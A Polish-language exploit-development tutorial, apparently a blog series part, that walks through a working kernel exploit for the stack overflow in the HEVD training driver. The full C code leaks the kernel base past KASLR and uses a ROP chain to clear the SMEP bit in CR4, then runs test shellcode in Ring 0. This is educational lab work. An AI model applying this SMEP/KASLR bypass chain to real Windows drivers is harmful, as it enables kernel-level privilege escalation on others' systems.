Post

[PL] HEVD Stack Buffer Overflow #3 - Arbitrary Code Execution

[PL] HEVD Stack Buffer Overflow #3 - Arbitrary Code Execution

W poprzednim blogu udało się nadpisać adres powrotu w funkcji TriggerBufferStackOverflow. W tym artykule przyjrzymy się, jak wykorzystać tą podatność do wykonania dowolnego kodu z uprawnieniami jądra (Ring 0).

Kod który wykonywać będziemy z poziomu kernela to:

1
2
3
4
5
6
.code
main PROC
    mov rax, 2137h
    ret
main ENDP
END

Jest to najprostszy kod ustawiający zawartość rejestru RAX na 0x2137. Oczywiście instrukcję tą można wykonać z każdego miejsca, w tym z user-landu, natomiast kod wykorzystujący przywileje systemowe stworzymy w dalszej części naszej przygody.

Do konwersji kodu masm na shellcode który możemy zaalokować w pamięci posłużę się autorskim narzędziem masm2c :).

Kod po konwersji na shellcode w języku C wygląda następująco:

1
2
3
BYTE shellcode[] = {
    0x48, 0xC7, 0xC0, 0x37, 0x21, 0x00, 0x00, 0xC3, 
};

Poniżej znajduje się exploit, który wykorzystuje zdobytą wcześniej wiedzę do umieszczenia i próby wykonania tego shellcode’u:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
#include <stdio.h>
#include <Windows.h>
#include <stdint.h>

#define ull uint64_t

HANDLE getHandle() {
    HANDLE hDriver = CreateFileW(L"\\\\.\\HacksysExtremeVulnerableDriver", // Symlink do sterownika
        GENERIC_READ | GENERIC_WRITE, // Pełne uprawnienia dostępu
        0,
        NULL,
        OPEN_EXISTING, // Uzyskujemy dostęp wyłącznie do istniejącego obiektu
        0,
        NULL
    );

    if (hDriver == INVALID_HANDLE_VALUE) {
        DWORD err = GetLastError();
        printf("[!] Nieudana próba uzyskania handle do sterownika, error: %d\n", err);
        exit(1);
    }

    printf("[+] Uzyskano handle do sterownika\n");
    return hDriver;
}

LPVOID fillPattern(int inBufferSize) {
    // Alokujemy pamięć, której adres przekażemy do metody sterownika
    LPVOID inBuffer = VirtualAlloc(NULL, // Bez określonego adresu początkowego
        inBufferSize, // Liczba bajtów do alokacji
        MEM_COMMIT | MEM_RESERVE, // Rezerwacja i inicjalizacja pamięci
        PAGE_EXECUTE_READWRITE // Pamięć posiada pełne uprawnienia do modyfikacji oraz wykonywania
    );

    if (inBuffer == NULL) {
        DWORD err = GetLastError();
        printf("[!] Nieudało się zaalokować pamięci, error: %d\n", err);
        exit(1);
    }

    printf("[+] Pomyślnie zaalokowano %d bajtów pamięci\n", inBufferSize);

    RtlFillMemory(inBuffer, inBufferSize, 'A');

    return inBuffer;
}

//kod z shellcode.asm który będzie wykonywany w ring 0.
LPVOID allocateShellcode() {
    BYTE shellcode[] = {
    0x48, 0xC7, 0xC0, 0x37, 0x21, 0x00, 0x00, 0xC3,
    };

    LPVOID shellpage = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    RtlCopyMemory(shellpage, shellcode, sizeof(shellcode));

    return shellpage;
}

int main()
{
    HANDLE hDriver = getHandle(); // Uzyskujemy handle do komunikacji ze sterownikiem

    //Alokujemy pamięć, która trafi na stos
    const int inBufferSize = 2080;
    LPVOID inBuffer = fillPattern(inBufferSize);
    LPVOID shellPage = allocateShellcode();

    //wskaźnik na wierzchołek stosu
    ull* stackVertice = (ull*)((ull)inBuffer + 2072);
    ull SHELLCODE = (ull)shellPage;

    *(stackVertice) = SHELLCODE;

    DeviceIoControl(hDriver, // Handle do sterownika
        0x222003, // Kod IOCTL funkcji BufferOverflowStackIoctlHandler
        (LPVOID)inBuffer, // Nasz bufor wejściowu
        inBufferSize, // Rozmiar buforu wejściowego
        NULL, // Brak buforu wyjściowego
        0,
        NULL,
        NULL
    );

    return 0;
}

Wierzchołek stosu poprawnie wskazuje na naszą nowo-zaalokowaną pamięć Wierzchołek stosu

Niestety, kod nie wykonuje się. Błąd wykonania

Na VMce otrzymujemy BSOD z kodem ATTEMPTED_EXECUTE_OF_NOEXECUTE_MEMORY Kod BSOD

Dlaczego tak się dzieje?

SMEP

SMEP

Supervisor Mode Execution Prevention to mechanizm zapobiegający wykonywaniu kodu user-mode z poziomu Ring 0. Czyli dokładnie to co próbujemy zrobić. Całe szczęście istnieje sprytny sposób na wyłączenie tej funkcjonalności, prosto z kernela windowsa. O tym czy mechanizm SMEP jest włączony decyduje bit 20 w rejestrze CR4. Na naszej maszynie wirtualnej rejestr CR4 ma wartość: CR4: 0000000000B50EF8

Konwertując na wartość binarną

1
2
3
101101010000111011111000
   |
   1 -> SMEP Włączony

Skoro kontrolujemy stos, możemy zbudować tzw. ROP Chain. Zamiast skakać bezpośrednio do naszego shellcode’u, skoczymy najpierw do istniejących w jądrze instrukcji (gadżetów), które zmienią wartość rejestru CR4, a dopiero potem wrócimy do naszego kodu.

Z pomocą przychodzi narzędzie ropper, które wyszukuje w pliku wykonywalnym rozkazów zakończonych rozkazem ret, bo takie nas interesują. Pobrałem z VM’ki plik ntoskrnl.exe który zawsze załadowany jest w pamięci. Sprawdźmy czy znajduje się w nim rozkaz manipulujący rejestrem CR4:

Gadżety z CR4

BINGO! Widzimy tu paru kandydatów, z czego najbardziej obiecującym jest

0x00000001403a0a87: mov cr4, rcx; ret;

Ponieważ znajduje się w sekcji .text (sprawdzone w Ghidrze), pod offsetem 0x3a0a87, istnieje duża szansa, że faktycznie będziemy mogli go w tym miejscu znaleźć. Potrzebujemy jeszcze gadżetu który wczyta wyznaczoną przez nas wartość do rejestru RCX. Takowy znajduje się tutaj:

0x00000001402148c8: pop rcx; ret;

Początkowo podjąłem próbę stworzenia ROP Chaina z wykorzystaniem gadżetu mov cr4, rax; ret;. Ze względu na to, że znajduje się w sekcji MINIEX, nie byłem w stanie niezawodnie określić pod jakim offsetem się znajduje na działającej maszynie.

Jeżeli uda nam się wczytać do rejestru RCX wartość CR4 z bitem 20-stym ustawionym na 0, ustawić rejestr CR4 na RCX, oraz powrócić do naszego kodu, pozwoli nam to na wykonywanie kodu user-mode przez Ring 0.

Program ropper zakłada adres bazowy kernela równy 0x0000000140000000. Niestety nie zawsze tak to wygląda, ponieważ dochodzi kolejne zabezpieczenie

KASLR

KASLR

Kernel Address Space Layout Randomization to jak sama nazwa wskazuje mechanizm randomizujący adres bazowy kernela. Objawia to się tym, że przy każdym uruchomieniu komputera, kod ntoskrnl.exe znajduje się pod innym offsetem w pamięci.

Całe szczęście rozwiązanie mamy na wyciągnięcie ręki, a mianowicie za pośrednictwem funkcji EnumDeviceDrivers.

Zaczynając od Windowsa 11 24H2, uzyskanie adresów wymaga przywileju SeDebugPrivilege !!!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
ull getKernelBase() {
    // kod z getkernelbase.cpp
    const int ARRAY_SIZE = 1024;

    LPVOID drivers[ARRAY_SIZE];
    DWORD cbNeeded;
    int cDrivers, i;

    if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded < sizeof(drivers))
    {
        _tprintf(TEXT("[+] Adres bazowy kernela to: %llx\n"), (ull)drivers[0]);
        return (ull)drivers[0];
    }
    else
    {
        _tprintf(TEXT("[!] Polecenie EnumDeviceDrivers nieudane; wymagany rozmiar tablicy przekazywanej jako parametr to %zd\n"), cbNeeded / sizeof(LPVOID));
        return -1;
    }
    return -1;
}

Powyższy kod efektywnie ujawnia adres bazowy kernela.

ACE

Łącząc wszystkie informacje które zebraliśmy, stwórzmy program który omija zarówno SMEP jak i KASLR.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
#include <stdio.h>
#include <Windows.h>
#include <stdint.h>
#include <psapi.h>
#include <tchar.h>

#define ull uint64_t

HANDLE getHandle() {
    HANDLE hDriver = CreateFileW(L"\\\\.\\HacksysExtremeVulnerableDriver", // Symlink do sterownika
        GENERIC_READ | GENERIC_WRITE, // Pełne uprawnienia dostępu
        0,
        NULL,
        OPEN_EXISTING, // Uzyskujemy dostęp wyłącznie do istniejącego potoku
        0,
        NULL
    );

    if (hDriver == INVALID_HANDLE_VALUE) {
        DWORD err = GetLastError();
        printf("[!] Nieudana próba uzyskania handle do sterownika, error: %d\n", err);
        exit(1);
    }

    printf("[+] Uzyskano handle do sterownika\n");
    return hDriver;
}

ull getKernelBase() {
    const int ARRAY_SIZE = 1024;

    LPVOID drivers[ARRAY_SIZE];
    DWORD cbNeeded;
    int cDrivers, i;

    if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded < sizeof(drivers))
    {
        _tprintf(TEXT("[+] Adres bazowy kernela to: %llx\n"), (ull)drivers[0]);
        return (ull)drivers[0];
    }
    else
    {
        _tprintf(TEXT("[!] Polecenie EnumDeviceDrivers nieudane; wymagany rozmiar tablicy przekazywanej jako parametr to %zd\n"), cbNeeded / sizeof(LPVOID));
        return -1;
    }
    return -1;
}

LPVOID fillPattern(int inBufferSize) {
    // Alokujemy pamięć, której adres przekażemy do metody sterownika
    LPVOID inBuffer = VirtualAlloc(NULL, // Bez określonego adresu początkowego
        inBufferSize, // Liczba bajtów do alokacji
        MEM_COMMIT | MEM_RESERVE, // Rezerwacja i inicjalizacja pamięci
        PAGE_EXECUTE_READWRITE // Pamięć posiada pełne uprawnienia do modyfikacji oraz wykonywania
    );

    if (inBuffer == NULL) {
        DWORD err = GetLastError();
        printf("[!] Nieudało się zaalokować pamięci, error: %d\n", err);
        exit(1);
    }

    printf("[+] Pomyślnie zaalokowano %d bajtów pamięci\n", inBufferSize);

    RtlFillMemory(inBuffer, inBufferSize, 'A');

    return inBuffer;
}

//kod z shellcode.asm który będzie wykonywany w ring 0.
LPVOID allocateShellcode() {
    BYTE shellcode[] = {
    0x48, 0xC7, 0xC0, 0x37, 0x21, 0x00, 0x00, 0xC3,
    };

    LPVOID shellpage = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    RtlCopyMemory(shellpage, shellcode, sizeof(shellcode));

    return shellpage;
}

int main()
{
    HANDLE hDriver = getHandle(); // Uzyskujemy handle do komunikacji ze sterownikiem

    ull kernelBase = getKernelBase();
    if (kernelBase == -1) {
        printf("Failed to acquire kernel base address, exiting.\n");
        return 1;
    }

    //Alokujemy pamięć, która trafi na stos
    const int inBufferSize = 2104;
    LPVOID inBuffer = fillPattern(inBufferSize);
    LPVOID shellPage = allocateShellcode();

    //wskaźnik na wierzchołek stosu
    ull* stackVertice = (ull*)((ull)inBuffer + 2072);

    ull cr4_value = 0x0000000000A50EF8;

    //przygotowujemy wartości na stos
    ull POP_RCX = kernelBase + 0x2148c8;
    ull CR4 = cr4_value;
    ull MOV_CR4_RCX = kernelBase + 0x3a0a87;
    ull SHELLCODE = (ull)shellPage;

    //umieszczamy wartości na stosie w kolejności wykonywania.
    int inc = 0;
    *(stackVertice + inc++) = POP_RCX;
    *(stackVertice + inc++) = CR4;
    *(stackVertice + inc++) = MOV_CR4_RCX;
    *(stackVertice + inc++) = SHELLCODE;

    DeviceIoControl(hDriver, // Handle do sterownika
        0x222003, // Kod IOCTL funkcji BufferOverflowStackIoctlHandler
        (LPVOID)inBuffer, // Nasz bufor wejściowy
        inBufferSize, // Rozmiar buforu wejściowego
        NULL, // Brak buforu wyjściowego
        0,
        NULL,
        NULL
    );

    return 0;
}

Wykonanie tego kodu daje oczekiwany rezultat:

ACE

Udało się ominąć zabezpieczenie KASLR, zmienić zawartość rejestru CR4 wyłączając tym sposobem mechanizm SMEP oraz wykonać ustawiony przez nas rozkaz z poziomu Ring 0.

W następnych blogach przyjrzymy się dwóm tematom: powrotem do user-landu, oraz wykorzystaniem nabytych możliwości do LPE.

This post is licensed under CC BY 4.0 by the author.

Trending Tags